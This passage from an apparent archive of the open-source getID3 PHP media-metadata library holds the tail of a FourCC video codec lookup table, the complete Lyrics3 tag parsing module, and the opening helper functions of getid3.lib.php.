			AFLC	Autodesk Animator FLC
			AFLI	Autodesk Animator FLI
			AMPG	Array Microsystems VideoONE MPEG
			ANIM	Intel RDX (ANIM)
			AP41	AngelPotion Definitive
			ASV1	Asus Video v1
			ASV2	Asus Video v2
			ASVX	Asus Video 2.0 (audio)
			AUR2	AuraVision Aura 2 Codec - YUV 4:2:2
			AURA	AuraVision Aura 1 Codec - YUV 4:1:1
			AVDJ	Independent JPEG Group\'s codec (AVDJ)
			AVRN	Independent JPEG Group\'s codec (AVRN)
			AYUV	4:4:4 YUV (AYUV)
			AZPR	Quicktime Apple Video (AZPR)
			BGR 	Raw RGB32
			BLZ0	Blizzard DivX MPEG-4
			BTVC	Conexant Composite Video
			BINK	RAD Game Tools Bink Video
			BT20	Conexant Prosumer Video
			BTCV	Conexant Composite Video Codec
			BW10	Data Translation Broadway MPEG Capture
			CC12	Intel YUV12
			CDVC	Canopus DV
			CFCC	Digital Processing Systems DPS Perception
			CGDI	Microsoft Office 97 Camcorder Video
			CHAM	Winnov Caviara Champagne
			CJPG	Creative WebCam JPEG
			CLJR	Cirrus Logic YUV 4:1:1
			CMYK	Common Data Format in Printing (Colorgraph)
			CPLA	Weitek 4:2:0 YUV Planar
			CRAM	Microsoft Video 1 (CRAM)
			cvid	Radius Cinepak
			CVID	Radius Cinepak
			CWLT	Microsoft Color WLT DIB
			CYUV	Creative Labs YUV
			CYUY	ATI YUV
			D261	H.261
			D263	H.263
			DIB 	Device Independent Bitmap
			DIV1	FFmpeg OpenDivX
			DIV2	Microsoft MPEG-4 v1/v2
			DIV3	DivX ;-) MPEG-4 v3.x Low-Motion
			DIV4	DivX ;-) MPEG-4 v3.x Fast-Motion
			DIV5	DivX MPEG-4 v5.x
			DIV6	DivX ;-) (MS MPEG-4 v3.x)
			DIVX	DivX MPEG-4 v4 (OpenDivX / Project Mayo)
			divx	DivX MPEG-4
			DMB1	Matrox Rainbow Runner hardware MJPEG
			DMB2	Paradigm MJPEG
			DSVD	?DSVD?
			DUCK	Duck TrueMotion 1.0
			DPS0	DPS/Leitch Reality Motion JPEG
			DPSC	DPS/Leitch PAR Motion JPEG
			DV25	Matrox DVCPRO codec
			DV50	Matrox DVCPRO50 codec
			DVC 	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVCP	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVHD	IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps
			DVMA	Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com)
			DVSL	IEC Standard DV compressed in SD (SDL)
			DVAN	?DVAN?
			DVE2	InSoft DVE-2 Videoconferencing
			dvsd	IEC 61834 and SMPTE 314M DVC/DV Video
			DVSD	IEC 61834 and SMPTE 314M DVC/DV Video
			DVX1	Lucent DVX1000SP Video Decoder
			DVX2	Lucent DVX2000S Video Decoder
			DVX3	Lucent DVX3000S Video Decoder
			DX50	DivX v5
			DXT1	Microsoft DirectX Compressed Texture (DXT1)
			DXT2	Microsoft DirectX Compressed Texture (DXT2)
			DXT3	Microsoft DirectX Compressed Texture (DXT3)
			DXT4	Microsoft DirectX Compressed Texture (DXT4)
			DXT5	Microsoft DirectX Compressed Texture (DXT5)
			DXTC	Microsoft DirectX Compressed Texture (DXTC)
			DXTn	Microsoft DirectX Compressed Texture (DXTn)
			EM2V	Etymonix MPEG-2 I-frame (www.etymonix.com)
			EKQ0	Elsa ?EKQ0?
			ELK0	Elsa ?ELK0?
			ESCP	Eidos Escape
			ETV1	eTreppid Video ETV1
			ETV2	eTreppid Video ETV2
			ETVC	eTreppid Video ETVC
			FLIC	Autodesk FLI/FLC Animation
			FLV1	Sorenson Spark
			FLV4	On2 TrueMotion VP6
			FRWT	Darim Vision Forward Motion JPEG (www.darvision.com)
			FRWU	Darim Vision Forward Uncompressed (www.darvision.com)
			FLJP	D-Vision Field Encoded Motion JPEG
			FPS1	FRAPS v1
			FRWA	SoftLab-Nsk Forward Motion JPEG w/ alpha channel
			FRWD	SoftLab-Nsk Forward Motion JPEG
			FVF1	Iterated Systems Fractal Video Frame
			GLZW	Motion LZW (gabest@freemail.hu)
			GPEG	Motion JPEG (gabest@freemail.hu)
			GWLT	Microsoft Greyscale WLT DIB
			H260	Intel ITU H.260 Videoconferencing
			H261	Intel ITU H.261 Videoconferencing
			H262	Intel ITU H.262 Videoconferencing
			H263	Intel ITU H.263 Videoconferencing
			H264	Intel ITU H.264 Videoconferencing
			H265	Intel ITU H.265 Videoconferencing
			H266	Intel ITU H.266 Videoconferencing
			H267	Intel ITU H.267 Videoconferencing
			H268	Intel ITU H.268 Videoconferencing
			H269	Intel ITU H.269 Videoconferencing
			HFYU	Huffman Lossless Codec
			HMCR	Rendition Motion Compensation Format (HMCR)
			HMRR	Rendition Motion Compensation Format (HMRR)
			I263	FFmpeg I263 decoder
			IF09	Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane")
			IUYV	Interlaced version of UYVY (www.leadtools.com)
			IY41	Interlaced version of Y41P (www.leadtools.com)
			IYU1	12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYU2	24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYUV	Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes)
			i263	Intel ITU H.263 Videoconferencing (i263)
			I420	Intel Indeo 4
			IAN 	Intel Indeo 4 (RDX)
			ICLB	InSoft CellB Videoconferencing
			IGOR	Power DVD
			IJPG	Intergraph JPEG
			ILVC	Intel Layered Video
			ILVR	ITU-T H.263+
			IPDV	I-O Data Device Giga AVI DV Codec
			IR21	Intel Indeo 2.1
			IRAW	Intel YUV Uncompressed
			IV30	Intel Indeo 3.0
			IV31	Intel Indeo 3.1
			IV32	Ligos Indeo 3.2
			IV33	Ligos Indeo 3.3
			IV34	Ligos Indeo 3.4
			IV35	Ligos Indeo 3.5
			IV36	Ligos Indeo 3.6
			IV37	Ligos Indeo 3.7
			IV38	Ligos Indeo 3.8
			IV39	Ligos Indeo 3.9
			IV40	Ligos Indeo Interactive 4.0
			IV41	Ligos Indeo Interactive 4.1
			IV42	Ligos Indeo Interactive 4.2
			IV43	Ligos Indeo Interactive 4.3
			IV44	Ligos Indeo Interactive 4.4
			IV45	Ligos Indeo Interactive 4.5
			IV46	Ligos Indeo Interactive 4.6
			IV47	Ligos Indeo Interactive 4.7
			IV48	Ligos Indeo Interactive 4.8
			IV49	Ligos Indeo Interactive 4.9
			IV50	Ligos Indeo Interactive 5.0
			JBYR	Kensington ?JBYR?
			JPEG	Still Image JPEG DIB
			JPGL	Pegasus Lossless Motion JPEG
			KMVC	Team17 Software Karl Morton\'s Video Codec
			LSVM	Vianet Lighting Strike Vmail (Streaming) (www.vianet.com)
			LEAD	LEAD Video Codec
			Ljpg	LEAD MJPEG Codec
			MDVD	Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de)
			MJPA	Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com)
			MJPB	Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com)
			MMES	Matrox MPEG-2 I-frame
			MP2v	Microsoft S-Mpeg 4 version 1 (MP2v)
			MP42	Microsoft S-Mpeg 4 version 2 (MP42)
			MP43	Microsoft S-Mpeg 4 version 3 (MP43)
			MP4S	Microsoft S-Mpeg 4 version 3 (MP4S)
			MP4V	FFmpeg MPEG-4
			MPG1	FFmpeg MPEG 1/2
			MPG2	FFmpeg MPEG 1/2
			MPG3	FFmpeg DivX ;-) (MS MPEG-4 v3)
			MPG4	Microsoft MPEG-4
			MPGI	Sigma Designs MPEG
			MPNG	PNG images decoder
			MSS1	Microsoft Windows Screen Video
			MSZH	LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			M261	Microsoft H.261
			M263	Microsoft H.263
			M4S2	Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2)
			m4s2	Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2)
			MC12	ATI Motion Compensation Format (MC12)
			MCAM	ATI Motion Compensation Format (MCAM)
			MJ2C	Morgan Multimedia Motion JPEG2000
			mJPG	IBM Motion JPEG w/ Huffman Tables
			MJPG	Microsoft Motion JPEG DIB
			MP42	Microsoft MPEG-4 (low-motion)
			MP43	Microsoft MPEG-4 (fast-motion)
			MP4S	Microsoft MPEG-4 (MP4S)
			mp4s	Microsoft MPEG-4 (mp4s)
			MPEG	Chromatic Research MPEG-1 Video I-Frame
			MPG4	Microsoft MPEG-4 Video High Speed Compressor
			MPGI	Sigma Designs MPEG
			MRCA	FAST Multimedia Martin Regen Codec
			MRLE	Microsoft Run Length Encoding
			MSVC	Microsoft Video 1
			MTX1	Matrox ?MTX1?
			MTX2	Matrox ?MTX2?
			MTX3	Matrox ?MTX3?
			MTX4	Matrox ?MTX4?
			MTX5	Matrox ?MTX5?
			MTX6	Matrox ?MTX6?
			MTX7	Matrox ?MTX7?
			MTX8	Matrox ?MTX8?
			MTX9	Matrox ?MTX9?
			MV12	Motion Pixels Codec (old)
			MWV1	Aware Motion Wavelets
			nAVI	SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm)
			NT00	NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com)
			NUV1	NuppelVideo
			NTN1	Nogatech Video Compression 1
			NVS0	nVidia GeForce Texture (NVS0)
			NVS1	nVidia GeForce Texture (NVS1)
			NVS2	nVidia GeForce Texture (NVS2)
			NVS3	nVidia GeForce Texture (NVS3)
			NVS4	nVidia GeForce Texture (NVS4)
			NVS5	nVidia GeForce Texture (NVS5)
			NVT0	nVidia GeForce Texture (NVT0)
			NVT1	nVidia GeForce Texture (NVT1)
			NVT2	nVidia GeForce Texture (NVT2)
			NVT3	nVidia GeForce Texture (NVT3)
			NVT4	nVidia GeForce Texture (NVT4)
			NVT5	nVidia GeForce Texture (NVT5)
			PIXL	MiroXL, Pinnacle PCTV
			PDVC	I-O Data Device Digital Video Capture DV codec
			PGVV	Radius Video Vision
			PHMO	IBM Photomotion
			PIM1	MPEG Realtime (Pinnacle Cards)
			PIM2	Pegasus Imaging ?PIM2?
			PIMJ	Pegasus Imaging Lossless JPEG
			PVEZ	Horizons Technology PowerEZ
			PVMM	PacketVideo Corporation MPEG-4
			PVW2	Pegasus Imaging Wavelet Compression
			Q1.0	Q-Team\'s QPEG 1.0 (www.q-team.de)
			Q1.1	Q-Team\'s QPEG 1.1 (www.q-team.de)
			QPEG	Q-Team QPEG 1.0
			qpeq	Q-Team QPEG 1.1
			RGB 	Raw BGR32
			RGBA	Raw RGB w/ Alpha
			RMP4	REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com)
			ROQV	Id RoQ File Video Decoder
			RPZA	Quicktime Apple Video (RPZA)
			RUD0	Rududu video codec (http://rududu.ifrance.com/rududu/)
			RV10	RealVideo 1.0 (aka RealVideo 5.0)
			RV13	RealVideo 1.0 (RV13)
			RV20	RealVideo G2
			RV30	RealVideo 8
			RV40	RealVideo 9
			RGBT	Raw RGB w/ Transparency
			RLE 	Microsoft Run Length Encoder
			RLE4	Run Length Encoded (4bpp, 16-color)
			RLE8	Run Length Encoded (8bpp, 256-color)
			RT21	Intel Indeo RealTime Video 2.1
			rv20	RealVideo G2
			rv30	RealVideo 8
			RVX 	Intel RDX (RVX )
			SMC 	Apple Graphics (SMC )
			SP54	Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2
			SPIG	Radius Spigot
			SVQ3	Sorenson Video 3 (Apple Quicktime 5)
			s422	Tekram VideoCap C210 YUV 4:2:2
			SDCC	Sun Communication Digital Camera Codec
			SFMC	CrystalNet Surface Fitting Method
			SMSC	Radius SMSC
			SMSD	Radius SMSD
			smsv	WorldConnect Wavelet Video
			SPIG	Radius Spigot
			SPLC	Splash Studios ACM Audio Codec (www.splashstudios.net)
			SQZ2	Microsoft VXTreme Video Codec V2
			STVA	ST Microelectronics CMOS Imager Data (Bayer)
			STVB	ST Microelectronics CMOS Imager Data (Nudged Bayer)
			STVC	ST Microelectronics CMOS Imager Data (Bunched)
			STVX	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format)
			STVY	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data)
			SV10	Sorenson Video R1
			SVQ1	Sorenson Video
			T420	Toshiba YUV 4:2:0
			TM2A	Duck TrueMotion Archiver 2.0 (www.duck.com)
			TVJP	Pinnacle/Truevision Targa 2000 board (TVJP)
			TVMJ	Pinnacle/Truevision Targa 2000 board (TVMJ)
			TY0N	Tecomac Low-Bit Rate Codec (www.tecomac.com)
			TY2C	Trident Decompression Driver
			TLMS	TeraLogic Motion Intraframe Codec (TLMS)
			TLST	TeraLogic Motion Intraframe Codec (TLST)
			TM20	Duck TrueMotion 2.0
			TM2X	Duck TrueMotion 2X
			TMIC	TeraLogic Motion Intraframe Codec (TMIC)
			TMOT	Horizons Technology TrueMotion S
			tmot	Horizons TrueMotion Video Compression
			TR20	Duck TrueMotion RealTime 2.0
			TSCC	TechSmith Screen Capture Codec
			TV10	Tecomac Low-Bit Rate Codec
			TY2N	Trident ?TY2N?
			U263	UB Video H.263/H.263+/H.263++ Decoder
			UMP4	UB Video MPEG 4 (www.ubvideo.com)
			UYNV	Nvidia UYVY packed 4:2:2
			UYVP	Evans & Sutherland YCbCr 4:2:2 extended precision
			UCOD	eMajix.com ClearVideo
			ULTI	IBM Ultimotion
			UYVY	UYVY packed 4:2:2
			V261	Lucent VX2000S
			VIFP	VFAPI Reader Codec (www.yks.ne.jp/~hori/)
			VIV1	FFmpeg H263+ decoder
			VIV2	Vivo H.263
			VQC2	Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf)
			VTLP	Alaris VideoGramPiX
			VYU9	ATI YUV (VYU9)
			VYUY	ATI YUV (VYUY)
			V261	Lucent VX2000S
			V422	Vitec Multimedia 24-bit YUV 4:2:2 Format
			V655	Vitec Multimedia 16-bit YUV 4:2:2 Format
			VCR1	ATI Video Codec 1
			VCR2	ATI Video Codec 2
			VCR3	ATI VCR 3.0
			VCR4	ATI VCR 4.0
			VCR5	ATI VCR 5.0
			VCR6	ATI VCR 6.0
			VCR7	ATI VCR 7.0
			VCR8	ATI VCR 8.0
			VCR9	ATI VCR 9.0
			VDCT	Vitec Multimedia Video Maker Pro DIB
			VDOM	VDOnet VDOWave
			VDOW	VDOnet VDOLive (H.263)
			VDTZ	Darim Vison VideoTizer YUV
			VGPX	Alaris VideoGramPiX
			VIDS	Vitec Multimedia YUV 4:2:2 CCIR 601 for V422
			VIVO	Vivo H.263 v2.00
			vivo	Vivo H.263
			VIXL	Miro/Pinnacle Video XL
			VLV1	VideoLogic/PURE Digital Videologic Capture
			VP30	On2 VP3.0
			VP31	On2 VP3.1
			VP6F	On2 TrueMotion VP6
			VX1K	Lucent VX1000S Video Codec
			VX2K	Lucent VX2000S Video Codec
			VXSP	Lucent VX1000SP Video Codec
			WBVC	Winbond W9960
			WHAM	Microsoft Video 1 (WHAM)
			WINX	Winnov Software Compression
			WJPG	AverMedia Winbond JPEG
			WMV1	Windows Media Video V7
			WMV2	Windows Media Video V8
			WMV3	Windows Media Video V9
			WNV1	Winnov Hardware Compression
			XYZP	Extended PAL format XYZ palette (www.riff.org)
			x263	Xirlink H.263
			XLV0	NetXL Video Decoder
			XMPG	Xing MPEG (I-Frame only)
			XVID	XviD MPEG-4 (www.xvid.org)
			XXAN	?XXAN?
			YU92	Intel YUV (YU92)
			YUNV	Nvidia Uncompressed YUV 4:2:2
			YUVP	Extended PAL format YUV palette (www.riff.org)
			Y211	YUV 2:1:1 Packed
			Y411	YUV 4:1:1 Packed
			Y41B	Weitek YUV 4:1:1 Planar
			Y41P	Brooktree PC1 YUV 4:1:1 Packed
			Y41T	Brooktree PC1 YUV 4:1:1 with transparency
			Y42B	Weitek YUV 4:2:2 Planar
			Y42T	Brooktree UYUV 4:2:2 with transparency
			Y422	ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera
			Y800	Simple, single Y plane for monochrome images
			Y8  	Grayscale video
			YC12	Intel YUV 12 codec
			YUV8	Winnov Caviar YUV8
			YUV9	Intel YUV9
			YUY2	Uncompressed YUV 4:2:2
			YUYV	Canopus YUV
			YV12	YVU12 Planar
			YVU9	Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes)
			YVYU	YVYU 4:2:2 Packed
			ZLIB	Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			ZPEG	Metheus Video Zipper

		*/

		return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc');
	}

	private function EitherEndian2Int($byteword, $signed=false) {
		if ($this->container == 'riff') {
			return getid3_lib::LittleEndian2Int($byteword, $signed);
		}
		return getid3_lib::BigEndian2Int($byteword, false, $signed);
	}

}editor/libraries/classes/vendor/getid3/getid3/module.tag.lyrics3.php000060400000025657150750527150021457 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.lyrics3.php                                      //
// module for analyzing Lyrics3 tags                           //
// dependencies: module.tag.apetag.php (optional)              //
//                                                            ///
/////////////////////////////////////////////////////////////////


class getid3_lyrics3 extends getid3_handler
{

	public function Analyze() {
		$info = &$this->getid3->info;

		// http://www.volweb.cz/str/tags.htm

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek((0 - 128 - 9 - 6), SEEK_END);          // end - ID3v1 - "LYRICSEND" - [Lyrics3size]
		$lyrics3_id3v1 = $this->fread(128 + 9 + 6);
		$lyrics3lsz    = substr($lyrics3_id3v1,  0,   6); // Lyrics3size
		$lyrics3end    = substr($lyrics3_id3v1,  6,   9); // LYRICSEND or LYRICS200
		$id3v1tag      = substr($lyrics3_id3v1, 15, 128); // ID3v1

		if ($lyrics3end == 'LYRICSEND') {
			// Lyrics3v1, ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 1;

		} elseif ($lyrics3end == 'LYRICS200') {
			// Lyrics3v2, ID3v1, no APE

			// LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200');
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 2;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) {
			// Lyrics3v1, no ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 1;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) {

			// Lyrics3v2, no ID3v1, no APE

			$lyrics3size    = strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 2;

		} else {

			if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) {

				$this->fseek($info['ape']['tag_offset_start'] - 15);
				$lyrics3lsz = $this->fread(6);
				$lyrics3end = $this->fread(9);

				if ($lyrics3end == 'LYRICSEND') {
					// Lyrics3v1, APE, maybe ID3v1

					$lyrics3size    = 5100;
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$info['avdataend'] = $lyrics3offset;
					$lyrics3version = 1;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				} elseif ($lyrics3end == 'LYRICS200') {
					// Lyrics3v2, APE, maybe ID3v1

					$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$lyrics3version = 2;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				}

			}

		}

		if (isset($lyrics3offset)) {
			$info['avdataend'] = $lyrics3offset;
			$this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size);

			if (!isset($info['ape'])) {
				if (isset($info['lyrics3']['tag_offset_start'])) {
					$GETID3_ERRORARRAY = &$info['warning'];
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true);
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename);
					$getid3_apetag = new getid3_apetag($getid3_temp);
					$getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start'];
					$getid3_apetag->Analyze();
					if (!empty($getid3_temp->info['ape'])) {
						$info['ape'] = $getid3_temp->info['ape'];
					}
					if (!empty($getid3_temp->info['replay_gain'])) {
						$info['replay_gain'] = $getid3_temp->info['replay_gain'];
					}
					unset($getid3_temp, $getid3_apetag);
				} else {
					$this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)');
				}
			}

		}

		return true;
	}

	public function getLyrics3Data($endoffset, $version, $length) {
		// http://www.volweb.cz/str/tags.htm

		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($endoffset)) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek($endoffset);
		if ($length <= 0) {
			return false;
		}
		$rawdata = $this->fread($length);

		$ParsedLyrics3['raw']['lyrics3version'] = $version;
		$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
		$ParsedLyrics3['tag_offset_start']      = $endoffset;
		$ParsedLyrics3['tag_offset_end']        = $endoffset + $length - 1;

		if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') {
			if (strpos($rawdata, 'LYRICSBEGIN') !== false) {

				$this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version);
				$info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN');
				$rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN'));
				$length = strlen($rawdata);
				$ParsedLyrics3['tag_offset_start'] = $info['avdataend'];
				$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;

			} else {

				$this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead');
				return false;

			}

		}

		switch ($version) {

			case 1:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') {
					$ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9));
					$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
				} else {
					$this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			case 2:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') {
					$ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ
					$rawdata = $ParsedLyrics3['raw']['unparsed'];
					while (strlen($rawdata) > 0) {
						$fieldname = substr($rawdata, 0, 3);
						$fieldsize = (int) substr($rawdata, 3, 5);
						$ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize);
						$rawdata = substr($rawdata, 3 + 5 + $fieldsize);
					}

					if (isset($ParsedLyrics3['raw']['IND'])) {
						$i = 0;
						$flagnames = array('lyrics', 'timestamps', 'inhibitrandom');
						foreach ($flagnames as $flagname) {
							if (strlen($ParsedLyrics3['raw']['IND']) > $i++) {
								$ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1));
							}
						}
					}

					$fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author');
					foreach ($fieldnametranslation as $key => $value) {
						if (isset($ParsedLyrics3['raw'][$key])) {
							$ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]);
						}
					}

					if (isset($ParsedLyrics3['raw']['IMG'])) {
						$imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']);
						foreach ($imagestrings as $key => $imagestring) {
							if (strpos($imagestring, '||') !== false) {
								$imagearray = explode('||', $imagestring);
								$ParsedLyrics3['images'][$key]['filename']     =                                (isset($imagearray[0]) ? $imagearray[0] : '');
								$ParsedLyrics3['images'][$key]['description']  =                                (isset($imagearray[1]) ? $imagearray[1] : '');
								$ParsedLyrics3['images'][$key]['timestamp']    = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : '');
							}
						}
					}
					if (isset($ParsedLyrics3['raw']['LYR'])) {
						$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
					}
				} else {
					$this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			default:
				$this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)');
				return false;
				break;
		}


		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$info['lyrics3'] = $ParsedLyrics3;

		return true;
	}

	public function Lyrics3Timestamp2Seconds($rawtimestamp) {
		if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) {
			return (int) (($regs[1] * 60) + $regs[2]);
		}
		return false;
	}

	public function Lyrics3LyricsTimestampParse(&$Lyrics3data) {
		$lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']);
		foreach ($lyricsarray as $key => $lyricline) {
			$regs = array();
			unset($thislinetimestamps);
			while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) {
				$thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]);
				$lyricline = str_replace($regs[0], '', $lyricline);
			}
			$notimestamplyricsarray[$key] = $lyricline;
			if (isset($thislinetimestamps) && is_array($thislinetimestamps)) {
				sort($thislinetimestamps);
				foreach ($thislinetimestamps as $timestampkey => $timestamp) {
					if (isset($Lyrics3data['synchedlyrics'][$timestamp])) {
						// timestamps only have a 1-second resolution, it's possible that multiple lines
						// could have the same timestamp, if so, append
						$Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline;
					} else {
						$Lyrics3data['synchedlyrics'][$timestamp] = $lyricline;
					}
				}
			}
		}
		$Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray);
		if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) {
			ksort($Lyrics3data['synchedlyrics']);
		}
		return true;
	}

	public function IntString2Bool($char) {
		if ($char == '1') {
			return true;
		} elseif ($char == '0') {
			return false;
		}
		return null;
	}
}
editor/libraries/classes/vendor/getid3/getid3/getid3.lib.php000060400000133211150750527150017737 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
//                                                             //
// getid3.lib.php - part of getID3()                           //
// See readme.txt for more details                             //
//                                                            ///
/////////////////////////////////////////////////////////////////


class getid3_lib
{

	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
		$returnstring = '';
		for ($i = 0; $i < strlen($string); $i++) {
			if ($hex) {
				$returnstring .= str_pad(dechex(ord($string{$i})), 2, '0', STR_PAD_LEFT);
			} else {
				$returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string{$i}) ? $string{$i} : '¤');
			}
			if ($spaces) {
				$returnstring .= ' ';
			}
		}
		if (!empty($htmlencoding)) {
			if ($htmlencoding === true) {
				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
			}
			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
		}
		return $returnstring;
	}

	public static function trunc($floatnumber) {
		// truncates a floating-point number at the decimal point
		// returns int (if possible, otherwise float)
		if ($floatnumber >= 1) {
			$truncatednumber = floor($floatnumber);
		} elseif ($floatnumber <= -1) {
			$truncatednumber = ceil($floatnumber);
		} else {
			$truncatednumber = 0;
		}
		if (self::intValueSupported($truncatednumber)) {
			$truncatednumber = (int) $truncatednumber;
		}
		return $truncatednumber;
	}


	public static function safe_inc(&$variable, $increment=1) {
		if (isset($variable)) {
			$variable += $increment;
		} else {
			$variable = $increment;
		}
		return true;
	}

	public static function CastAsInt($floatnum) {
		// convert to float if not already
		$floatnum = (float) $floatnum;

		// convert a float to type int, only if possible
